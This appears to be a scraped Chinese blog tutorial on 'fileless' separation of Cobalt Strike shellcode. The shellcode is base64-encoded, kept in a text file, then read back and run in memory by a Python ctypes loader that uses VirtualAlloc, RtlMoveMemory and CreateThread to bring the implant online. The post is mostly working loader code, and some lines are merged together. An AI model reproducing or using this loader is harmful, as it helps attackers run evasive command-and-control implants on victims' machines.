当前位置: 首页 > news >正文

无文件落地分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

import base64code = b'         'en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

 

import ctypes
import base64with open('s.txt','r') as f:s=f.read()shellcode=base64.b64decode(s)ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

 

http://www.lryc.cn/news/372604.html

相关文章:

  • MySQL 日志(一)
  • XML 编辑器:功能、选择与使用技巧
  • 单例模式(设计模式)
  • 提升你的编程体验:自定义 PyCharm 背景图片
  • SpringCloud与Dubbo区别?
  • 简单Mesh多线程合并,使用什么库性能更高
  • 长亭培训加复习安全产品类别
  • memcached介绍和详解
  • Spring boot 注解实现幂等性
  • NVIDIA Jetson AI边缘计算盒子
  • React核心概念、主要特点及组件的生命周期
  • Java基础面试重点-1
  • 18. 四数之和 - 力扣
  • [vue2]深入理解路由
  • 搜维尔科技:SenseGlove为什么不同的手套尺寸对触觉技术至关重要
  • java算法:选择排序
  • helm升级部署时出现升级挂起状态处理
  • 16、架构-可观测性-事件日志详细解析
  • Java数据结构与算法(买卖股票的最佳时机二贪心算法)
  • t265 坑
  • 【LLM之RAG】Adaptive-RAG论文阅读笔记
  • 介绍react
  • 网络爬虫概述
  • 取证工作: SysTools SQL Log Analyzer, 完整的 SQL Server 日志取证分析
  • 蓝牙耳机怎么连接电脑?轻松实现无线连接
  • 4.音视频 AAC SSAASS
  • 每日5题Day24 - LeetCode 116 - 120
  • 在笔记本电脑上使用 LLMs 的 5 种方法
  • Linux内存从0到1学习笔记(8.15 MMU/IOMMU/SMMU概览)
  • Intellij IDEA中怎么配置Maven?